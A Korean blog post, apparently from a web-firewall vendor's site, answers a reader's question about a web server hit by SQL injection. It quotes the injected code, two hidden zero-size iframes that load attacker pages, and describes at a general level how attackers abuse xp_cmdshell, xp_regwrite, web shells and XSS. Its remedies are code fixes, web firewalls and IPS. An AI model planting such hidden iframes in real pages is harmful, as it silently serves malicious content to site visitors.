|
SQL Injection 공격으로 인한 피해는 계속 진행중이네요. 피해사례가 점점 확산되고 있고, 증상도 다양해 지고 있으니 보안관리자도 힘들어지고 있습니다. 이와 관련된 정보 역시 대부분 비공개로 되어 있으며, 해당 증세에 대한 대처도 쉽지 않고 있어 답답할뿐입니다.
실제로 이런 정보는 거의 유사하며, 그 중에서 이메일로 질문 것 중에 하나를 공개해보도록 하겠습니다.
<질문>
2달전쯤 부터 SQL Injection 공격으로 여기 소개된 데이터베이스 변형소스가 들어가서 매일 복구를 반복하고.. 그러다 웹서치를 통해 임시방편으로 데이터베이스의 시스템 테이블에 있는 몇개의 Stored Procedure의 사용권한을 못하게 하여 일단은 데이터베이스 변형은 멈췄습니다. 이런 경우도 해결이 가능한지요? 그리고 요즘 각 홈페이지의 메인파일(default.htm, default.asp, main.htm...등)의 하단부분에 아이프레임으로 불법코드를 삽입하네요...
<iframe src="http://www.website.com/js/m.htm" width="0" height="0"></iframe><iframe src="http://www.website.com/img/ad/m.htm" width="0" height="0"></iframe>
삽입된 코드는 위와 같습니다. 각 검색엔진에서 검색해보니 ARP 스푸핑이라는 현상이 유력하던데, ARP 스푸핑으로는 어느 정도만 유사한 것으로 보여집니다. ARP 스푸핑을 통해서는 웹페이지에서는 코드가 없는데 클라이언트가 웹페이지를 요청했을때 중간에 끼워서 보낸다는데, 저희 같은 경우는 페이지 자체에 강제삽입되어 파일이 변형되어있다는 점입니다.
그래서 각 백신 및 기타 악성코드 프로그램으로 검사를 해봐도 발견되지는 않고 이틀에서 사흘주기로 서버의 각 홈페이지들의 파일들을 변형시키고 있습니다. 이경우도 해결방안이 있는지요?
가장 큰 문제는 위에 현상입니다.
추가로 각 웹게시판 프로그램에 스펨글이 자동으로 등록되는 경우가 있습니다. 아이피로도 차단해보고 낱말로 차단을 해봐도 각기 제각각이라 차단이 되지 않더군요... 이런 경우 효과적인 차단방법이 있는지요? 그리고 웹페이지 접속형태로 게시물들을 대량 삭제하는 경우도 있습니다. 이런 경우는 로그인 정보없이 아이피만 남기고 삭제 프로세스페이지에 접속되어 게시물을 삭제하더군요. 아이피정보를 보면 구글등의 아이피가 나오고요. 그래서 아이디 정보등이 없을때는 삭제를 못하게 막고는 있는데 혹 다른 경로로 정보를 파악해서 삭제를 하는 것은 아닌지요?
아마 위의 질문 내용, 비슷한 증상을 꽤나 많은 분들이 물어보시더군요. 웹상에서 찾아보면 이에 대한 대처도 조금씩 있긴하지만, 소스 수정이라는 근본적인 답만을 찾을 수 있을 뿐, 당장 돌아가고 있는 곳에 급하게 적용하기는 힘듭니다. 위와 비슷하게 질문을 하신 분께 대부분 다음과 유사하게 답을 드리고 있습니다.
<답변>
파일의 변조가 발생하는건 조금 오래된 형식의 sql injection 공격입니다.
옛날 방식의 sql injection은 초기에 시스템 분석을 위해 몇 개의 Stored Procedure를 사용하며, 이것이 끝나면 xp_cmdshell과 관련 코드를 통해 백도어를 심고 자동으로 변조될 수 있도록 세팅해둡니다. 이 세팅으로 변경되는 지점은 서버마다 다르며 (극단적인 경우 모든 페이지에 삽입되며,대부분의 경우 include가 많이 되는 몇몇 페이지와 default.asp와 같은 첫 페이지에 발생됩니다) 현존하는 백신과 방화벽으로는 처리가 불가능합니다. 이걸 막는건 소스를 완전히 고치거나 소스 수정 없이 하고자 한다면 웹방화벽이나 IPS같은 장비 뿐이지요.
지금 하신 mssql에서 사용할 수 있는 xp_cmdshell을 비롯한 몇가지 스토어 프로시저를 사용금지 시킨다 할지라도 실제 해킹에서는 xp_regwrite나 다른 방법을 통해 레지스트리 편집 및 시스템 시작시 배치파일이나 기타 다른 방식으로 이를 수정하는 방법까지 동원하기 때문에 이런 변경을 통해서는 며칠 지나지 않아 다시 동일한 현상이 발생됩니다. 모든걸 정지시킨다 할지라도, 이미 웹쉘(WebShell)이 설치되어 있을 가능성이 크므로 원상복구 될 가능성도 있습니다.
오히려, 이런 경우에 어설프게 대처하면 더더욱 시스템 분석을 치밀하게 한 후에 공격을 시도하기 때문에 추후에는 더 심각한 현상을 보이는 경우가 있습니다. (예를 들면, 3일이 아니라 몇시간 단위로 소스가 변조됩니다)
현재 SQL Injection공격의 기법은 db의 내용을 백업받고 이를 외부에 유출시킨 후 테이블 구조를 파악하고 게시판의 내용에 <script를 첨부시키는 스타일을 사용합니다. 이 경우 역시 백도어와 시스템 파악은 완전히 끝난 상태입니다.
언급하신 게시판의 삭제나 스펨글의 자동 등록과 같은 부분은 주로 XSS(Cross-site scripting)이라는 공격기법으로, 요즘의 SQL Injection과 셋트로 함께 다니는 기법입니다.
이런 공격은 2000년부터 시작되서 한동안 유행하다가 끝났고 올 3월부터 다시 본격적인 공격이 시작되었습니다. SQL문이 들어가 있는 모든 소스를 수정하시든가, 하드웨어로 된 웹방화벽을 구입하여 설치하시든가, IPS와 같은 장비를 네트워크에 붙여두시면 됩니다.
이메일로 질문 주신 내용 중에 일부입니다. 위 사례는 해킹으로 인하여 생긴 문제발생으로 꽤나 자주 받는 질문 중에 하나 입니다. 큰 사이트인 경우는 위에 언급한 IPS나 하드웨어로 된 웹방화벽 및 개발 인력의 사용을 통해 대비책을 마련할 수 있겠지만, 작은 사이트의 경우에는 쉽지 않은 작업입니다.
문제가 발생하기 전에 처리할 수 있는 방안이 무엇인가를 한번 쯤 생각해보시는 것도 좋습니다.
- 2008/06/13 - [윈도우 보안] - 웹서버 해킹. 방법이 바뀌었다.
- 2007/10/23 - [윈도우 보안] - 최근 해킹 분석 - 2007.10.
- 2007/02/08 - [윈도우 보안] - 웹방화벽. 과연 필요한가?
'웹방화벽(트릿센트리)' 카테고리의 다른 글
| ThreatSentry(트릿센트리)와 웹나이트 비교 (0) | 2008/08/11 |
|---|---|
| ThreatSentry 웹 방화벽 제품 소개서 (0) | 2008/08/11 |
| 상용 웹방화벽 제품 'IIS 기반-ThreatSentry(트릿센트리)' (6) | 2008/08/09 |
| 기존 보안 시스템과 웹 방화벽의 차이 (0) | 2008/08/01 |
| 해킹 당한 후 자주 묻는 질문 4가지 (0) | 2008/08/01 |
| 웹해킹 공격 사례 #1 (0) | 2008/07/01 |
|







댓글을 달아 주세요